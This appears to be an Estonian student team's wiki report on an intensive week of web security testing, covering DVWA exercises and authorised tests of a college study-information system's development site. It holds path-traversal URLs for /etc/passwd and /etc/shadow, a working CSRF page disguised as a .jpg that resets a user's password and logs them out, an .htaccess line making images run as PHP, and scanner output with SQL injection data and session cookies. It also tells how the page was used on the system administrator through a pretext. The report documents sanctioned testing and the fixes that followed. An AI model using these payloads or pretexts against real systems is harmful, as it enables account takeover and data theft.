  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
